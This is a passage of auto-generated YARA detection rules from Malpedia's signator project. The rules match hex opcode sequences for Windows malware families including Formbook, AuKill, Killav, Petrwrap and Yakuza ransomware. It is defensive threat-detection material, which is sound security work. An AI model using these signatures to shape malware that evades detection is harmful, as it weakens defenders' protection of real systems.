		$sequence_3 = { 85c9 7405 e8???????? 5e 8bc3 5b 5f }
		$sequence_4 = { ff7508 6801000040 57 53 ffd0 f7d8 5f }
		$sequence_5 = { ff7510 6aff ff7508 6a00 68e9fd0000 ffd0 5e }
		$sequence_6 = { ff55f0 8945e0 837de000 0f84eb000000 ff75ec 6a00 ff55e8 }
		$sequence_7 = { e8???????? 8bd6 8bc8 e8???????? ff751c ff7518 }
		$sequence_8 = { 6a00 6a00 681f000f00 57 ffd0 5f 5e }
		$sequence_9 = { 8d8df8efffff 51 ffd0 5e 85c0 7917 b9???????? }
	condition:
		7 of them and filesize < 147456
}

rule MALPEDIA_Win_Killav_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "964918fc-ee46-54ff-896b-e1283f7b0e40"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.killav"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.killav_auto.yar#L1-L128"
		license_url = "N/A"
		logic_hash = "8efc8b29b31fba331f15fc6d418a70e9cc051d66f52514c3f27af471a4a7b82f"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? 83c408 6a09 33c0 c745d800000000 68???????? 8d4dd8 }
		$sequence_1 = { 51 e8???????? 83c408 6a13 33c0 c745d800000000 68???????? }
		$sequence_2 = { 85c0 0f84b7910000 83f808 7d0f 6bc018 05???????? }
		$sequence_3 = { eb1a 8b4508 8bc8 83e03f c1f906 6bd038 8b0c8d70ba4300 }
		$sequence_4 = { 8b0c8d70ba4300 804c112802 5b 2bf7 83e6fe 5f 8bc6 }
		$sequence_5 = { 895db8 c745dc01000000 8b048570ba4300 8945d4 0f8533010000 8b55d4 8bc3 }
		$sequence_6 = { 8b0b 8b4904 6a00 ff75dc ff75e8 }
		$sequence_7 = { 0fb74d08 33c0 663b88bcf34200 740d 83c002 83f814 }
		$sequence_8 = { c645fc15 50 8d4dd0 e8???????? c645fc00 }
		$sequence_9 = { 741c 81f900000400 7542 0c80 88441628 8b04bd70ba4300 c644102901 }
	condition:
		7 of them and filesize < 517120
}

rule MALPEDIA_Win_Flusihoc_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "70e43055-e110-5f44-83f7-dea02c83279f"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.flusihoc"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.flusihoc_auto.yar#L1-L170"
		license_url = "N/A"
		logic_hash = "03055e982040b1f87a417ce4ea912aa6346f4a9287782a46033bfb1539ddc34d"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 740b 40 8816 8a1408 46 }
		$sequence_1 = { 8b442410 6aff 50 ff15???????? 8b4c2410 }
		$sequence_2 = { 57 6a40 8d442428 6a00 50 c744242c44000000 e8???????? }
		$sequence_3 = { f3a5 c684246402000000 e8???????? 68d6000000 }
		$sequence_4 = { 7507 80864d01000004 83f822 7506 fe8e42010000 }
		$sequence_5 = { 8bec 83e4f8 81ece40b0000 a1???????? 33c4 898424e00b0000 53 }
		$sequence_6 = { 8d7c2428 50 f3a5 c684246401000000 }
		$sequence_7 = { 33c0 888c045e010000 8a4c042c 40 }
		$sequence_8 = { 8b8c24ec0b0000 5f 5e 5b 33cc 33c0 e8???????? }
		$sequence_9 = { ff15???????? 8b4c2410 51 ffd6 8b542414 52 ffd6 }
		$sequence_10 = { fe06 fe461e 3d68010000 7505 fe06 fe4e17 }
		$sequence_11 = { 52 ffd6 6a0a ff15???????? }
		$sequence_12 = { 8b8df4feffff 6804010000 8d85f8feffff 50 6a01 }
		$sequence_13 = { 8b95f4feffff 52 ff15???????? 8b4dfc 33cd 33c0 }
		$sequence_14 = { 51 6a00 ff15???????? 8d95f4feffff 52 6806000200 }
		$sequence_15 = { 6a00 68???????? 6802000080 ff15???????? 85c0 752f }
	condition:
		7 of them and filesize < 319488
}

rule MALPEDIA_Win_Pay2Key_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "8e07d004-8ab0-5ac0-b5f3-02a0577c17ab"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pay2key"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.pay2key_auto.yar#L1-L132"
		license_url = "N/A"
		logic_hash = "bffaa691493d14e2f3352a01cee177c0e343912969f9938647f417173ef48232"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { c707???????? 5f 5e 8be5 5d c3 c6470400 }
		$sequence_1 = { 0f8412000000 83a50ce6fffffe 8b8dfce5ffff e9???????? c3 }
		$sequence_2 = { c60000 8d4540 6a00 50 e8???????? 83ec18 c645fc05 }
		$sequence_3 = { 8bce ff5004 8b45f0 8b4d0c 8907 8b4514 895f04 }
		$sequence_4 = { 8d4e34 c645fc09 c741140f000000 c7411000000000 83791410 7204 8b01 }
		$sequence_5 = { 8db758030000 8b4614 83f808 720b 40 8bce 50 }
		$sequence_6 = { c7411000000000 8b4114 894754 c7411400000000 8b5d10 c745fc00000000 8b0b }
		$sequence_7 = { c745fc01000000 8b4de0 85c9 7414 8b01 8b4010 ffd0 }
		$sequence_8 = { 8886b2000000 c686b300000001 c7411407000000 c7411000000000 83791408 7204 8b01 }
		$sequence_9 = { c645fc01 8d45a8 6a00 50 8d4dd8 c745ec0f000000 c745e800000000 }
	condition:
		7 of them and filesize < 2252800
}

rule MALPEDIA_Win_7Ev3N_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "005aa5f2-162b-5bf7-ad49-b9d7ff2db13f"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.7ev3n"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.7ev3n_auto.yar#L1-L133"
		license_url = "N/A"
		logic_hash = "4eede98c5fa06e7258d260c1c452e6214bfc253858a007d8970063a1ca550ad3"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 6a00 8d85f0d9ffff 50 8d8dd0cdffff e8???????? 8bce 2bcf }
		$sequence_1 = { 2bcf 3bc1 0f84e2910000 8dbd50dcffff 8d4f02 0f1f840000000000 }
		$sequence_2 = { 2bcf 3bc1 0f8412490000 8dbdcce7ffff 8d4f02 0f1f840000000000 668b07 }
		$sequence_3 = { e8???????? 8bce 2b8d00cbffff 3bc1 0f84ce070000 8dbd50d9ffff 8d4f02 }
		$sequence_4 = { e8???????? 8bce 2bcf 3bc1 0f84427a0000 8dbdf8eeffff 8d4f02 }
		$sequence_5 = { 6a00 8d85a0e3ffff 50 8d8dd0cdffff e8???????? 8bce 2bcf }
		$sequence_6 = { 6a00 6800000080 50 ff15???????? 898520ffffff 85c0 7509 }
		$sequence_7 = { 83c702 6685c0 75f5 2bf9 d1ff 6a00 8d8500edffff }
		$sequence_8 = { f30f7e05???????? 660fd68564e6ffff 0fb705???????? 6689856ce6ffff f30f7e05???????? 660fd68558e6ffff 0fb705???????? }
		$sequence_9 = { d1ff 6a00 8d85acfbffff 50 8d8dd0cdffff e8???????? 8bce }
	condition:
		7 of them and filesize < 803840
}

rule MALPEDIA_Win_Petrwrap_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "4231d0f2-bcca-5065-a819-dce30768f04e"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.petrwrap"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.petrwrap_auto.yar#L1-L129"
		license_url = "N/A"
		logic_hash = "df938443ce3aca6f9d40529b8ac059dfa5d88a7d6127ee28afd16bed66ad9fc4"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8b442458 8bf9 0fa4c119 33f2 c1e019 }
		$sequence_1 = { 894c241c 3bcf 763b 6845030000 68???????? 6a44 6a68 }
		$sequence_2 = { 68???????? 57 e8???????? 83c408 85c0 0f89ff010000 57 }
		$sequence_3 = { 3bd9 7301 47 8b442414 89700c 8b4508 33f6 }
		$sequence_4 = { 50 e8???????? 83c410 ff15???????? 8945b4 b808000000 e8???????? }
		$sequence_5 = { 83c430 83c20a 89542444 85d2 }
		$sequence_6 = { 330c85d01c4400 8b44242c c1e818 330c85d0184400 0fb6c2 330c85d0244400 8bc3 }
		$sequence_7 = { 8b4c2440 83c42c 894c241c 85c0 7507 6831020000 eb44 }
		$sequence_8 = { 8b4d00 89450c 8b03 894c2424 8d04b0 2bf2 c1fe1f }
		$sequence_9 = { 4a 75f5 8b0e c7460406000000 83c114 8d4900 8b01 }
	condition:
		7 of them and filesize < 1024000
}

rule MALPEDIA_Win_Rusty_Claw_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "8fc75c4e-ba70-59d2-9f38-a3aed8cf6b13"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rusty_claw"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rusty_claw_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "75f315fae698621629456c9a1f27e13b2e79a7325d19df3b6033848f0862def4"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 57 56 83ec08 8b5c241c 8b7c2418 89e0 8d742404 }
		$sequence_1 = { 5b 5d c3 8b4e10 ba???????? 6a04 e8???????? }
		$sequence_2 = { 037904 034108 89d1 c1c60d c1ea0a c1c10f 31ce }
		$sequence_3 = { 8b5664 e8???????? b001 8b8eb0050000 64890d00000000 8d65f4 5e }
		$sequence_4 = { 29c2 29ca 85d2 7409 4a 803ec0 8d76ff }
		$sequence_5 = { 0fb7c2 01c8 c3 89d0 354718c32c c1c002 31d0 }
		$sequence_6 = { 8dbe850ab727 8974245c 89442408 8d81fc6d2c4d 8b4c2458 89442450 8b442430 }
		$sequence_7 = { 6a0a 5a f7e2 89c3 0f90c2 01cb 0f92c0 }
		$sequence_8 = { 8b6c241c 8974240c 89de 894c2444 89542438 89442420 894c2424 }
		$sequence_9 = { 8d043b 99 2bc2 8bf0 d1fe 6a55 ff34f5b8444300 }
	condition:
		7 of them and filesize < 518144
}

rule MALPEDIA_Win_Dimnie_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "faec140a-eb16-5876-b92f-a4f4dcf83df4"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dimnie"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dimnie_auto.yar#L1-L122"
		license_url = "N/A"
		logic_hash = "8e390553f6468d186c93389bf0eaa300637b1e54d4adacff8f64a890d9a8be5a"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { eb04 c645af3d 8b4d0c 8a55af 885102 837d1002 }
		$sequence_1 = { 7e28 8b5508 0fb64201 83e00f c1e002 8b4d08 0fb65102 }
		$sequence_2 = { 8b450c eb54 8b550c 2b5508 83fa01 751c 0f31 }
		$sequence_3 = { c70201000000 8b4508 8b08 83e10f 8b5508 }
		$sequence_4 = { eb54 8b550c 2b5508 83fa01 751c }
		$sequence_5 = { eb61 8b4d08 3b4d0c 7605 8b450c eb54 8b550c }
		$sequence_6 = { c70201000000 8b4508 8b08 83e10f 8b5508 890a }
		$sequence_7 = { 8855ae eb04 c645ae3d 8b450c 8a4dae }
		$sequence_8 = { b90d000000 be???????? 8d7dbc f3a5 }
		$sequence_9 = { 8b4d0c 8a55af 885102 837d1002 7e13 8b4508 }
	condition:
		7 of them and filesize < 212992
}

rule MALPEDIA_Win_Aukill_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "efca2687-336d-54b6-b9e5-6006cad01a63"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.aukill"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.aukill_auto.yar#L1-L115"
		license_url = "N/A"
		logic_hash = "5efb284cf60297ddb14dee519095e9a3fbc8f6f4ea4b889dc99b33d704551ec0"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 33d2 b940040000 ff15???????? 488bd8 }
		$sequence_1 = { 488b442460 4c8d442430 488b4c2458 33d2 4889442434 }
		$sequence_2 = { 48894c2430 ba04003583 894c2428 48894c2420 448d4920 48894c2450 488b0d???????? }
		$sequence_3 = { 771c 488b0b ff15???????? 0fb608 }
		$sequence_4 = { 33c9 48895c2440 48894c2438 4c8d442440 48894c2430 ba04003583 }
		$sequence_5 = { 488b442460 4c8d442430 488b4c2458 33d2 }
		$sequence_6 = { 48894c2420 448d4920 48894c2450 488b0d???????? }
		$sequence_7 = { 448d4920 48894c2450 488b0d???????? 48897c2458 4889442448 }
		$sequence_8 = { ff15???????? 85c0 751d 488bcb ff15???????? ff15???????? }
		$sequence_9 = { 8905???????? c705????????02000000 48c705????????04000000 ff15???????? 488905???????? 4885c0 }
	condition:
		7 of them and filesize < 446464
}

rule MALPEDIA_Win_Formbook_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "8c050ce6-9039-5f0c-9eda-53d46123b24c"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.formbook_auto.yar#L1-L132"
		license_url = "N/A"
		logic_hash = "986f42b5e94183a87a4b3ecc04f39bd7a6cdd90998ce87e5be2a2b4f7bf3d394"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8be5 5d c3 8d48f8 80f903 771e 8b5518 }
		$sequence_1 = { 8bec 8b4508 8b4810 56 6a0d 6a00 }
		$sequence_2 = { 56 e8???????? 56 e8???????? 40 50 8b450c }
		$sequence_3 = { e8???????? 83c418 8986dc020000 85c0 780c 8b4d0c }
		$sequence_4 = { 85ff 7439 8b550c 85d2 7432 8b4d10 33c0 }
		$sequence_5 = { 33c0 85d2 741b 8d0c79 53 8d642400 668b1c46 }
		$sequence_6 = { 80fa03 0f862cffffff 3c34 0f8446ffffff 3c35 0f8460ffffff 8d48c8 }
		$sequence_7 = { e8???????? 8b4508 8d4df8 51 8d55f0 52 6a00 }
		$sequence_8 = { 53 56 57 8b7d10 8d8768480000 50 8db768080000 }
		$sequence_9 = { 51 57 e8???????? 83c410 85c0 7915 8b13 }
	condition:
		7 of them and filesize < 371712
}

rule MALPEDIA_Win_Upas_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "3b6d6c26-b6c3-53b0-89ad-1bd740f5c4d8"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.upas"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.upas_auto.yar#L1-L120"
		license_url = "N/A"
		logic_hash = "bdfeabc66ac57807ea759a27698eea464658dc61ceaff524f25f379f14603f19"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 7816 8b45f8 8b08 57 ff7508 }
		$sequence_1 = { 0bcf eb10 85f6 7507 83fa05 }
		$sequence_2 = { c3 55 8bec 81ec8c0b0000 53 56 }
		$sequence_3 = { ff35???????? ffd6 85c0 75e7 50 e8???????? 59 }
		$sequence_4 = { ff15???????? 53 ff15???????? 6800400000 ff75f8 ff75f4 ff15???????? }
		$sequence_5 = { 8d4438eb 8945dd 33c0 3945f8 7517 ff75f0 }
		$sequence_6 = { 7410 49 740d 83e909 7410 83e919 }
		$sequence_7 = { c9 c3 56 57 8d8550faffff 50 }
		$sequence_8 = { 6a08 ff750c e8???????? 33c0 }
		$sequence_9 = { 8dbd20ffffff f3a5 0fb74814 8d5c0118 }
	condition:
		7 of them and filesize < 114688
}

rule MALPEDIA_Win_Yakuza_Ransomware_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "0616b0d8-21b8-54e6-81ea-ef91fe1745e9"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.yakuza_ransomware"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.yakuza_ransomware_auto.yar#L1-L133"
		license_url = "N/A"
		logic_hash = "406ad1bef978847d25a0a40830a76c5748a247c44dcea0c0fe72a568e851fc77"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? 83c404 c645fc5b 56 8bd0 8d8d20fbffff e8???????? }
		$sequence_1 = { e8???????? 8d8520ffffff 83bd34ffffff08 0f438520ffffff 8d8dd8fbffff 51 }
		$sequence_2 = { 50 e8???????? 0fb74c242c 8d7f02 83c414 85c0 b8ffff0000 }
		$sequence_3 = { e9???????? c3 8b4568 83e002 0f840c000000 836568fd 8d4d48 }
		$sequence_4 = { e9???????? c3 8b4dec 81c180000000 e9???????? 8b4d08 83c104 }
		$sequence_5 = { 0fb6c9 0fb689409c4d00 3304cdd2735400 8b4df8 8b55fc 8b4c8a08 c1e900 }
		$sequence_6 = { e8???????? 84c0 0f84d0010000 8d8d54f6ffff e8???????? 8bf0 89b5d4f1ffff }
		$sequence_7 = { e8???????? c745fc00000000 8b4e24 85c9 7466 8b01 8d55dc }
		$sequence_8 = { ff7508 8d45a8 50 8d4de0 e8???????? 8bf0 8d4e04 }
		$sequence_9 = { 50 c745ac00000000 c745b007000000 e8???????? 837f1408 8bc7 7202 }
	condition:
		7 of them and filesize < 2811904
}

rule MALPEDIA_Win_Scarabey_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "df55f2c4-936e-5089-bf63-ab8881b2ccec"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.scarabey"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.scarabey_auto.yar#L1-L127"
		license_url = "N/A"
		logic_hash = "ab0b8e9df053b2dde174abe1928026d6e032765d40449a0cf5be9cf6e0235b67"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 6a01 ff5004 899e58030000 e9???????? c78778010000acab5700 }
		$sequence_1 = { 51 50 8d45c0 50 ffd7 897598 c74594fc2f5300 }
		$sequence_2 = { 51 ff15???????? 8d8dc0d6ffff e8???????? 8b95c0d6ffff 52 }
		$sequence_3 = { 8b442408 8b4c2404 6a00 6a00 6a00 6a00 50 }
		$sequence_4 = { ff15???????? 6a01 8d8d14d1ffff 51 ff15???????? 6a00 6a00 }
		$sequence_5 = { 894608 89460c c706???????? c74604???????? c74610541e5300 e8???????? 8bc6 }
		$sequence_6 = { e9???????? 837dec00 0f851a010000 6683f80c 0f8510010000 6a0a }
		$sequence_7 = { 8bf0 83f907 7771 ff248d690c4700 4e eb26 }
		$sequence_8 = { c745bc06000000 897dd0 c745c404885300 c745cc64000000 ff9060010000 }
		$sequence_9 = { c745cc18405300 e8???????? 33c0 40 e8???????? c20400 6a08 }
	condition:
		7 of them and filesize < 3580928
}

rule MALPEDIA_Win_Ceeloader_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "33871f14-7cee-5da9-9ebd-8890978a4d51"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ceeloader"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ceeloader_auto.yar#L1-L132"
		license_url = "N/A"
		logic_hash = "4d0387a20d12583a262adee6bbac65a30e624cee690a9f69b13de10eb064ad76"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 0bd3 3bce 8bf5 23fd 0bda 8bde 0bd3 }
		$sequence_1 = { 48c744242000000000 e8???????? 89842438020000 488b8c2440020000 e8???????? c784249402000000000000 8944243c }
		$sequence_2 = { 4883ec20 8bd9 4c8d0dc9f60700 b904000000 4c8d05b5f60700 488d15f6d80700 e8???????? }
		$sequence_3 = { c7842424060000043b0000 c7842420060000660d0000 c784241c060000a2780000 c784241806000079050000 c784241406000042520000 c78424100600002b350000 c784240c06000015070000 }
		$sequence_4 = { 89ca 2315???????? 8915???????? 0faf0d???????? 030d???????? 8b15???????? 448b05???????? }
		$sequence_5 = { 83393f 0f837c030000 31c0 89c1 b820000000 89c2 41b800100000 }
		$sequence_6 = { 89842444090000 8b842444090000 357a620000 89842488070000 c7842484070000d86c0000 c7842480070000e3710000 c784247c070000c1470000 }
		$sequence_7 = { 448984242c010000 e9???????? 488b8424e8000000 488b00 8b8c24f0000000 }
		$sequence_8 = { 89842400060000 8b8424dc0b0000 4189c1 4181e1ff010000 44898c242c0d0000 448b8c242c0d0000 41c1e106 }
		$sequence_9 = { 898424800c0000 ff15???????? 89842488040000 8b8424780c0000 0b84247c0c0000 898424800c0000 8b8424800c0000 }
	condition:
		7 of them and filesize < 2321408
}

rule MALPEDIA_Win_Ninerat_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "b2759270-ef98-5410-b5fe-ea53f4bf72fd"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ninerat"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ninerat_auto.yar#L1-L170"
		license_url = "N/A"
		logic_hash = "584fb25ea88956dd53544245e507dba7752ef5bd9498b76883c7fb9cf338d1d3"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 4c89ad58feffff 48894d10 48895518 488b4518 48c70000000000 48c7400800000000 48c78590feffff00000000 }
		$sequence_1 = { 4c89ad60ffffff 4c89b568ffffff 4c89bd70ffffff 48894d10 }
		$sequence_2 = { 4c89ad58ffffff 4c89b560ffffff 4c89bd68ffffff 48894d10 4889d3 4d89c4 498bd4 }
		$sequence_3 = { 4c89ad50ffffff 4c89b558ffffff 4c89bd60ffffff 48894d10 4889d6 c68570ffffff00 488d4580 }
		$sequence_4 = { 4c89ad68fcffff 4c89b570fcffff 4c89bd78fcffff 48894d10 }
		$sequence_5 = { 4c89ad50ffffff 4c89b558ffffff 4c89bd60ffffff 48895518 4989cc 48c70200000000 4889d1 }
		$sequence_6 = { 4c89ad60feffff 4c89b568feffff 48894d10 488d4d10 e8???????? 48898570feffff }
		$sequence_7 = { 4c89ad58fdffff 4c89b560fdffff 4c89bd68fdffff 48895518 4c894520 4c894d28 }
		$sequence_8 = { eb0f 488bd3 488d0d48900100 e8???????? }
		$sequence_9 = { 4889842430020000 4c89642450 488b442450 4889842438020000 }
		$sequence_10 = { 4889842480000000 488d1529890100 488d8c2480000000 e8???????? 90 e8???????? 90 }
		$sequence_11 = { 488d842430030000 48ffc7 6644393478 75f6 }
		$sequence_12 = { 4883ec38 834c2448ff 488d05a8580100 4d85c9 }
		$sequence_13 = { 4a8b04e8 42385cf839 0f84c2000000 488d058dde0000 4a8b0ce8 }
		$sequence_14 = { 418bd4 e8???????? f20f1000 8b5808 e9???????? 488d05cbdd0000 }
		$sequence_15 = { 83fa04 7c39 458bd1 49c1ea02 418bc2 f7d8 }
	condition:
		7 of them and filesize < 7709696
}

rule MALPEDIA_Win_Duuzer_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
